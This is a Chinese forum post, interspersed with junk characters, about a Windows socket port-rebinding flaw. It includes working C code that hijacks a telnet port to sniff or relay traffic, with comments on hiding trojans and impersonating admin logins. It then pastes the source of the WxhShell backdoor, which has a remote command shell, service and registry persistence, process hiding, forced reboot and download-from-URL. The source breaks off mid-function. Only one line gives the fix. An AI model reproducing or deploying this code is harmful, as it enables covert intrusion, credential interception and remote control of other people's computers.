社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 13838阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: HB9|AQ4K  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); p]x9hZ  
/EV _Y|(-  
  saddr.sin_family = AF_INET; Yl"l|2 :  
cc:,,T /i  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); wg=-&-  
p~17cH4~-f  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); JQH>{OB  
=4804N7  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 /XXy!=1J  
k/ hNap'0  
  这意味着什么?意味着可以进行如下的攻击: kGW4kuh)/q  
,o s M|!,  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 DgKe!w$  
7(B"3qF8|  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) N.?)s.D(  
hi^t zpy  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 e#s-MK-Q  
Bb*P);#.K  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  -}9>#<v  
~ }?*v}  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 X^)v ZL?  
`-[|@QNFz  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 YxWA] yL  
@]@6(To  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 0tEe $9eK@  
*#7]PA Qw  
  #include %OAvhutS  
  #include >%c7|\q[R  
  #include %>E M ^Z  
  #include    [)t1"  
  DWORD WINAPI ClientThread(LPVOID lpParam);   L(DDyA{bA  
  int main() Rp_)LA  
  { !+T29QYK8  
  WORD wVersionRequested; wMU}EoGS?  
  DWORD ret; =k:yBswi  
  WSADATA wsaData; B-W8Zq#4>  
  BOOL val; L% `lC]  
  SOCKADDR_IN saddr; /7hC /!@  
  SOCKADDR_IN scaddr; 'ARbJ1a  
  int err; o>Q=V 0?  
  SOCKET s; OtZc;c  
  SOCKET sc; ;ji[ "b  
  int caddsize; r"&VG2c0K  
  HANDLE mt; % jSB9  
  DWORD tid;   W \XLf,_+  
  wVersionRequested = MAKEWORD( 2, 2 ); maVfLVx-  
  err = WSAStartup( wVersionRequested, &wsaData ); 3h`_Qv%g  
  if ( err != 0 ) { Jo4iWJpK  
  printf("error!WSAStartup failed!\n"); YK)e  
  return -1; ]B3f$;W  
  } ;P9cjfSn  
  saddr.sin_family = AF_INET; @w73U; 9\  
   G1G*TSf  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Lb}$)AcC  
GDY=^r  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); @k3xk1*  
  saddr.sin_port = htons(23); ]h?p3T$h  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) PAS0 D #  
  { u_jhmKr~  
  printf("error!socket failed!\n"); .A apO}{  
  return -1; [(m+Ejzi%  
  } ][1 iKT  
  val = TRUE; <CGABlZ  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 zy'cf5k2  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) JXq l=/%  
  {  &sg~owz  
  printf("error!setsockopt failed!\n"); _ls i,kg?  
  return -1; f]48>LRE8  
  } PdSYFJM  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ~zhP[qA})  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 5aJd:36I  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 # TPS?+(  
AI#.G7'O  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) "I0F"nQ  
  { q6EZ?bo{  
  ret=GetLastError(); FgnPh%[u  
  printf("error!bind failed!\n"); s5J?,xu  
  return -1; GGez!?E%  
  } @@d6,=  
  listen(s,2); 4KB>O)YNg'  
  while(1) W[t0hbV w  
  { Pzte!]B  
  caddsize = sizeof(scaddr); Sc9}W U  
  //接受连接请求 ,f}u|D 3@  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); *u]aWx  
  if(sc!=INVALID_SOCKET) tA{h x -  
  { x*! %o(G  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); \EW<;xq  
  if(mt==NULL) qu%}b>  
  { )Y:C'*.r  
  printf("Thread Creat Failed!\n"); ,vB~9^~  
  break; x};sti R  
  } $3]]<oH  
  } SGP)A(,k9  
  CloseHandle(mt); 9i+.iuE%Bu  
  } ndHUQ$/(  
  closesocket(s); `l0"4 [?  
  WSACleanup(); x Tf|u  
  return 0; 1<;G oC"  
  }   +d=w%r)  
  DWORD WINAPI ClientThread(LPVOID lpParam) 3GPGwzX |  
  { k\Z7Dg$\D  
  SOCKET ss = (SOCKET)lpParam; :%>TM/E N  
  SOCKET sc; ~_a$5Y  
  unsigned char buf[4096]; cf,^7,-`"  
  SOCKADDR_IN saddr; #:s*Hy=  
  long num; dU&hM<.|  
  DWORD val; X=jHH=</  
  DWORD ret; 7x#."6>Dy  
  //如果是隐藏端口应用的话,可以在此处加一些判断 i,!tu  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   11?d,6Jl  
  saddr.sin_family = AF_INET; #oJ%i+V  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); I R~szUY6  
  saddr.sin_port = htons(23); eXi}-~o  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -lS(W^r4  
  { w5;d/r<q  
  printf("error!socket failed!\n"); SAhk`_  
  return -1; *K;s*-|U  
  } Igh=Z %  
  val = 100; @1s 2# )l(  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3|PV.  
  { s'/ZtH6>C  
  ret = GetLastError(); cYz|Ux  
  return -1; cs?IzIQ  
  } ET;-'vd  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ''H;/&nDX  
  { ',]^Qu`a  
  ret = GetLastError(); p4vX3?&1W  
  return -1; /" @cv{  
  } =F09@C,  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 2]cU:j6G  
  { J+m1d\lBu  
  printf("error!socket connect failed!\n"); b}!T!IP}  
  closesocket(sc); YI?tmqzt  
  closesocket(ss); \.YJs"<3  
  return -1; "'~&D/7  
  } #|K5ma  
  while(1) |O{kv}Y Z  
  { BMb0Pu 8  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 g}$B4_sY  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 xwojjiV  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 oZ>2Tt%  
  num = recv(ss,buf,4096,0); Rw^X5ByJE  
  if(num>0) O% 8>siU  
  send(sc,buf,num,0); Lum5Va%0  
  else if(num==0) %xdyG Al:  
  break; WHcw5_3#  
  num = recv(sc,buf,4096,0); v;(k7  
  if(num>0) W1ql[DqE{  
  send(ss,buf,num,0); bMGXx>x  
  else if(num==0) H18pVh  
  break; t**MthnW  
  } w%$J<Z^-?  
  closesocket(ss); %ZX3:2  
  closesocket(sc); GHpP *x  
  return 0 ; ]v#T9QQN  
  } Bo0f`EC I  
Cy6%f?j  
ZhFlR*EQ  
========================================================== X'p%K/-m  
Qn}M  
下边附上一个代码,,WXhSHELL UZ!It>  
f@0Km^aUc  
========================================================== "EnxVV  
A().1h1_k  
#include "stdafx.h" B z? (?fyd  
[JKLlR  
#include <stdio.h> C);I[H4Yfw  
#include <string.h> @s0mX3P  
#include <windows.h> cToT_Mk  
#include <winsock2.h> ^bECX<,H  
#include <winsvc.h> EZ[e  a<  
#include <urlmon.h> P98g2ak  
8;O/x  
#pragma comment (lib, "Ws2_32.lib") L,sFwOWY  
#pragma comment (lib, "urlmon.lib") \5fvD8>H  
0+NGFX \p  
#define MAX_USER   100 // 最大客户端连接数 @4Lol2  
#define BUF_SOCK   200 // sock buffer ,Bl_6ZaL  
#define KEY_BUFF   255 // 输入 buffer ;0-R"c)-  
{dwlW`{  
#define REBOOT     0   // 重启 $pauPEe  
#define SHUTDOWN   1   // 关机 ~7:Q+ 0,,  
Qp+M5_  
#define DEF_PORT   5000 // 监听端口 )H+p6<  
W4=A.2[q  
#define REG_LEN     16   // 注册表键长度 uP.dCs9-  
#define SVC_LEN     80   // NT服务名长度 bycnh  
gw<u dhk  
// 从dll定义API P>'29$1'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); lQpl8>  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4xgfm.9I^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); vw :&c.zd  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =l>=]O~h  
VyWzb  
// wxhshell配置信息 #!t6'*  
struct WSCFG { {/i&o  
  int ws_port;         // 监听端口  NG?g(  
  char ws_passstr[REG_LEN]; // 口令 T>w;M?`9K  
  int ws_autoins;       // 安装标记, 1=yes 0=no 04:QEC"9mj  
  char ws_regname[REG_LEN]; // 注册表键名 uG(XbDZZ1W  
  char ws_svcname[REG_LEN]; // 服务名 EPU3Jban  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 P?Kg7m W  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 XO}SPf-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 rN'}IS@5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \{= {{O  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" w{ P l  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 av~kF  
FY pspv?4  
}; V^_U=Ed@M  
Z9j`<VgN  
// default Wxhshell configuration G4uA&"OE  
struct WSCFG wscfg={DEF_PORT, . dJBv  
    "xuhuanlingzhe", 4jC7>mE  
    1, =z\/xzAwX  
    "Wxhshell", B^C 5?  
    "Wxhshell", j |LOg  
            "WxhShell Service", 5:%`&B\  
    "Wrsky Windows CmdShell Service", fni7HBV?  
    "Please Input Your Password: ", szp.\CMz  
  1, sU/vXweky"  
  "http://www.wrsky.com/wxhshell.exe", W&7(  
  "Wxhshell.exe" goc; .~?  
    }; eQ<G Nvm  
yh{U!hG  
// 消息定义模块 AsR}qqG  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Wz;@Rl|F  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (+(bw4V/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \zhCGDm1_  
char *msg_ws_ext="\n\rExit."; ;f /2u  
char *msg_ws_end="\n\rQuit."; )*&61  
char *msg_ws_boot="\n\rReboot..."; 1z_1Hl  
char *msg_ws_poff="\n\rShutdown..."; e^UUR-K%  
char *msg_ws_down="\n\rSave to "; )NO ,G  
W Haf}.V  
char *msg_ws_err="\n\rErr!"; d3NER}f4V  
char *msg_ws_ok="\n\rOK!"; fJ+4H4K  
lXXWQ=  
char ExeFile[MAX_PATH]; M,we,!B0  
int nUser = 0; O$X^Ea7~  
HANDLE handles[MAX_USER]; l=C|4@  
int OsIsNt; ~Xc1y!"9*  
j|@8VxZ  
SERVICE_STATUS       serviceStatus; 6O"y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  p]jG ,S  
K4b2)8  
// 函数声明 @{ L|&Mk!  
int Install(void); bjq.nn<=  
int Uninstall(void); o)8VJ\ &  
int DownloadFile(char *sURL, SOCKET wsh); XpPcQIM*  
int Boot(int flag); n(_wt##wE~  
void HideProc(void); v!AfIcEV  
int GetOsVer(void); Yn>FSq^Wp-  
int Wxhshell(SOCKET wsl); M-(,*6Q  
void TalkWithClient(void *cs); 1jd.tup  
int CmdShell(SOCKET sock); ~J >Jd  
int StartFromService(void); _)6r@fZ.p  
int StartWxhshell(LPSTR lpCmdLine); \mqrDaB  
NRI[|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); f6m h_l  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); G<Urj+3/Xo  
%!R\-Vej  
// 数据结构和表定义 % -.V6}V  
SERVICE_TABLE_ENTRY DispatchTable[] = _~;K]  
{ -i]2 b  
{wscfg.ws_svcname, NTServiceMain}, ? 8)k6:  
{NULL, NULL} q[x|tO  
}; *r ('A  
/a s+ TU`A  
// 自我安装 _5o5/@  
int Install(void) TJ|do`fw>  
{ **c"}S6:mC  
  char svExeFile[MAX_PATH]; dJ~Occ1~r  
  HKEY key; :wfN+g=  
  strcpy(svExeFile,ExeFile); 10_>EY`  
OX[r\  
// 如果是win9x系统,修改注册表设为自启动 uEkGo5  
if(!OsIsNt) { ;aH3{TS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2#Qw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zL3I!& z2  
  RegCloseKey(key); TRr%]qd{Hr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e@PY(#ru  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [_*?~  
  RegCloseKey(key); l0E]#ra"  
  return 0; I0G[K~gb  
    } fsWPU]\)  
  } 4D6LP*  
} &Y3ZGRT  
else { 0Y8Cz/$  
CDT;AdRw7  
// 如果是NT以上系统,安装为系统服务 &&C'\,ZK5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [S0wwWU |0  
if (schSCManager!=0) fIn^a 3TV  
{ O 2/_$i[F  
  SC_HANDLE schService = CreateService _jaB[Q=By  
  ( 8J~-|<Q6  
  schSCManager, g|j15&x  
  wscfg.ws_svcname, Q1(4l?X@  
  wscfg.ws_svcdisp, ]Mvpec_B  
  SERVICE_ALL_ACCESS, .>2]m[53  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  xF*i+'2  
  SERVICE_AUTO_START, xrkR)~ E  
  SERVICE_ERROR_NORMAL, 3teP6|K'g  
  svExeFile, xdMY2u  
  NULL, g O/\Yi  
  NULL, QE721y   
  NULL, uW4.Q_O!H  
  NULL, 0XI6gPo%  
  NULL K*M1$@5  
  ); UD Pn4q  
  if (schService!=0) h r6?9RJY  
  { W *2P+H%  
  CloseServiceHandle(schService); "YVr/u  
  CloseServiceHandle(schSCManager); 4r#4h4`y|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "i&9RA! 1  
  strcat(svExeFile,wscfg.ws_svcname); TV/EC#48  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { BC#O.93`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (~fv;}}v  
  RegCloseKey(key); 4ZkaH(a1  
  return 0; |3>%(4 OS  
    } rx@2Dmt6  
  } {9{PU&?(  
  CloseServiceHandle(schSCManager); ei~f1$zc#h  
} 7v}(R:*  
} BCX2C  
Nnfq!%   
return 1; $y%IM`/w  
} LtV,djk  
"d2JNFIHb  
// 自我卸载 ,lVQ-qw5  
int Uninstall(void) FJB B@<>:  
{ Kd*=-  
  HKEY key; nuw7pEW@?  
z6|kEc"{  
if(!OsIsNt) { z&\N^tBv  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +K ,T^<F;  
  RegDeleteValue(key,wscfg.ws_regname); 7tne/Yz  
  RegCloseKey(key); szD9z{9"y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #X0Xc2}{f  
  RegDeleteValue(key,wscfg.ws_regname); _/YM@%d  
  RegCloseKey(key); u1>WG?/`  
  return 0; b&'YW*W  
  } ~.z82m  
} )"_&CYnd  
} 7c8`D;A-K  
else { y[GqV_~?Y  
#VxN [770  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <`NtTG  
if (schSCManager!=0)  IuMJ-"  
{ 7Rn 4gT  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); B_RF)meux  
  if (schService!=0) &ViK9  
  { fZQ2<*)pqO  
  if(DeleteService(schService)!=0) { Iu^I?c[  
  CloseServiceHandle(schService); |W}D_2  
  CloseServiceHandle(schSCManager); Z:diM$Z?7  
  return 0; d+"F(R9  
  } cv. j  
  CloseServiceHandle(schService); m%c]+Our`  
  } qKE+,g'  
  CloseServiceHandle(schSCManager); uH#X:Vne  
} V{X/yN.u  
} =Z..&H5i  
x@D> JG  
return 1; VO /b&%  
} g+Y &rz  
a6?t?: ~|  
// 从指定url下载文件 { T<[-"h  
int DownloadFile(char *sURL, SOCKET wsh) {U4{v=,!I  
{ |hX\ep   
  HRESULT hr; R7c42L\QA  
char seps[]= "/"; D`U,T& @  
char *token; qC q?`0&#  
char *file; ,l.+$G  
char myURL[MAX_PATH]; 9%riB/vkrF  
char myFILE[MAX_PATH]; S'`RP2P  
,rOh*ebF  
strcpy(myURL,sURL); :d~mlyFI6P  
  token=strtok(myURL,seps); <- R%  
  while(token!=NULL) 'C@yJf  
  { %BQ?DTtb7'  
    file=token; W,:j >v g  
  token=strtok(NULL,seps); 09i7 7  
  } <[=[|DS l  
8C*xrg#g:  
GetCurrentDirectory(MAX_PATH,myFILE); sXYXBX[  
strcat(myFILE, "\\"); 5C9 .h:c4y  
strcat(myFILE, file); rS+ >oP}  
  send(wsh,myFILE,strlen(myFILE),0); z?GtC{L9  
send(wsh,"...",3,0); uE>m3Y(aP  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); TCi0]Y~a  
  if(hr==S_OK) }%<cF i &  
return 0; -s ^cy+jd  
else D;OPsNQ  
return 1; NOf{Xx<#k  
R<^E?FI   
} 9f CU+s  
bNHs jx@  
// 系统电源模块 ;Mr Q1  
int Boot(int flag) \"$q=%vD  
{ HUbXJsSP  
  HANDLE hToken; Equ%6x  
  TOKEN_PRIVILEGES tkp; aM:tg1g  
e}s,WC2-  
  if(OsIsNt) { M&e=LV  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 21] K7  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); i%MR<M  
    tkp.PrivilegeCount = 1; DmZ_tuVI  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; h]4qJ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9l,8:%X_  
if(flag==REBOOT) { fT<3~Z>m  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $4kbOqn4  
  return 0; ^P`I"T d  
}  < B!f;  
else { waG &3m  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) DLO#_t^v.  
  return 0; )i:"cyoE  
} y,c \'}*H  
  } )ri'W <l  
  else { $?9u;+jIR  
if(flag==REBOOT) { ]SN5 &S  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9e&*+ +vf  
  return 0; z_). -  
} J3'0^JP*  
else { PGb}Y {  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0:x+;R<P*w  
  return 0; $U2Jq@G*  
} @f-rS{  
} G#='*v OtO  
6!){-IV  
return 1; J+`gr_&  
} TC ;Aj|)N  
[7[$P.MS{  
// win9x进程隐藏模块 uL^X$8K;(  
void HideProc(void) \\ZhM  
{ r%LG>c`^  
[p )2!]y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); MW0CqMi]T  
  if ( hKernel != NULL ) 7e{w,.ny!  
  { 2(GLc*B>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =wa5\p/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); e)i-$0L"  
    FreeLibrary(hKernel); FH;)5GGnv  
  } u@zT~\ h*  
"T}HH  
return; M[e{(iQ:  
} GF0Utp:Zf;  
!m9g\8tE  
// 获取操作系统版本 ul"Z% 1]  
int GetOsVer(void) QdIoK7J 9  
{ 4Cvo^k/I  
  OSVERSIONINFO winfo; "eI">`!g  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); l_fERp#y  
  GetVersionEx(&winfo); W61:$y}8  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (e3?--~b6  
  return 1; 5'xZ9K  
  else ^!O2Fw  
  return 0; !V/p.O  
} \d w["k  
myB!\ WY   
// 客户端句柄模块 :m("oC@}  
int Wxhshell(SOCKET wsl) ! n?j)p.  
{ NE Z ]%  
  SOCKET wsh; k7z{q/]M  
  struct sockaddr_in client; 4Q\~l(  
  DWORD myID; n>%TIoY  
eT8h:+k  
  while(nUser<MAX_USER) Bv`3T Af2  
{ *yW9-(  
  int nSize=sizeof(client); +R31YR8C0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ZaFqGcS~  
  if(wsh==INVALID_SOCKET) return 1; eh3CVgH91;  
11JO[  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); a0  w  
if(handles[nUser]==0) ?\a';@h  
  closesocket(wsh); ,Ne v7X[0  
else {1GIiP-U  
  nUser++; XP65  
  } U9RpHh`  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); jLBwPI_g  
`]<~lf  
  return 0; );^{;fLy%  
} VF9-&HuC  
||4++84{  
// 关闭 socket \0l"9 B.  
void CloseIt(SOCKET wsh) 3<6P^p=I  
{ (' i_Xe  
closesocket(wsh); 79U 7<]-!  
nUser--; ;] #Q!  
ExitThread(0); N37#V s  
} ~|e H8@o  
7JP.c@s  
// 客户端请求句柄 Zg!E}B:z  
void TalkWithClient(void *cs) J_XbtCmt  
{ f&Meiu+  
f/=H#'+8  
  SOCKET wsh=(SOCKET)cs; *\[GfTL  
  char pwd[SVC_LEN]; OH~I+=}.  
  char cmd[KEY_BUFF]; m*TJ@gI*t  
char chr[1]; k12mxR/  
int i,j; PPNZ(j   
=+wkjTO  
  while (nUser < MAX_USER) { 6z+*H7Qz  
No)@#^  
if(wscfg.ws_passstr) { f@IL2DL}\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $ZE"o`=7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :*lB86Ly  
  //ZeroMemory(pwd,KEY_BUFF); -Cf< #'x_  
      i=0; YZ+<+`Mz<  
  while(i<SVC_LEN) { vlZ?qIDe  
K 7d]p0d'  
  // 设置超时 j'FBt8P'  
  fd_set FdRead; TM$`J  
  struct timeval TimeOut; 6.GIUM%D  
  FD_ZERO(&FdRead); !rgdOlTR^  
  FD_SET(wsh,&FdRead); iI%"]- 0@1  
  TimeOut.tv_sec=8; wB0ONH[  
  TimeOut.tv_usec=0; ed7Hz#Qc  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); qL68/7:A  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); N/ mC,7Q  
A*hc w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `]g}M,  
  pwd=chr[0]; affig  
  if(chr[0]==0xd || chr[0]==0xa) { }^B=f_Ag  
  pwd=0; YQ<O .E  
  break; ]]bL;vlw  
  } 1rhQ{6  
  i++; U}<;4Px]7v  
    } $`/J V?Z  
:ug j+  
  // 如果是非法用户,关闭 socket qnR{'d  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Mo+HLN  
} 6 {tW$q  
X2p9KC  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); rgg3{bU/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'm+)n08[  
*1;}c z  
while(1) { [.`#N1-@M  
t5pf4M7  
  ZeroMemory(cmd,KEY_BUFF); ~4+=C\r  
{EGm6WSQ^  
      // 自动支持客户端 telnet标准   w`J s "_\  
  j=0; &/A?*2  
  while(j<KEY_BUFF) { n,NKJt  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *.0#cP7 "  
  cmd[j]=chr[0]; w0^T-O`<  
  if(chr[0]==0xa || chr[0]==0xd) { ~ugK&0i[2  
  cmd[j]=0; bI~(<-S~K  
  break; Y r^C+Oyg  
  } NbnuQPb'  
  j++; #~^Y2-C#  
    } `$D2w|  
X6]eQ PN2  
  // 下载文件 gyW##M@{  
  if(strstr(cmd,"http://")) { n/5)}( }K  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?Y#0Je  
  if(DownloadFile(cmd,wsh)) Yj^n4G(h  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^g2p!7  
  else #b4Pn`[   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @l:\Ka~TS  
  } u;*Wc9>sU  
  else { &Rx-zp&dJ  
+kKfx!  
    switch(cmd[0]) { <t0o{}^P*  
  ye)CfP=ID\  
  // 帮助 ?5!>k^q  
  case '?': { G6(U\VFqO  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;F;`y),  
    break; skn`Q>a  
  } 3yu{Q z5y,  
  // 安装 S:GX!6>  
  case 'i': { +[ 944n  
    if(Install()) =?f\o*J)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ',yY  
    else tc'` 4O]c8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L 59q\_|  
    break; p}NIZ)]$  
    } ;Qc_Tf=,  
  // 卸载 tc@([XqH  
  case 'r': { 7usf^g[dh  
    if(Uninstall()) ` AA[k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =%YU~  
    else 5/v@VUzH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .)>DFGb>H  
    break; 1dF=BR8  
    } KN;b+`x;M  
  // 显示 wxhshell 所在路径 hYW<4{Gjr  
  case 'p': { DM%4 V|F"  
    char svExeFile[MAX_PATH]; PZRm.vC)k  
    strcpy(svExeFile,"\n\r"); u"\HBbBx  
      strcat(svExeFile,ExeFile); 1wl8  
        send(wsh,svExeFile,strlen(svExeFile),0); d aIt `}s  
    break; L s=2!  
    } SPxgIP;IR  
  // 重启 F.b;O :  
  case 'b': { sSC yjS'T  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); c"3 a,&  
    if(Boot(REBOOT)) fRe$}KX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0k5;Qf6A  
    else { Kd _tjWS  
    closesocket(wsh); {<a(1#{  
    ExitThread(0); !'No5  
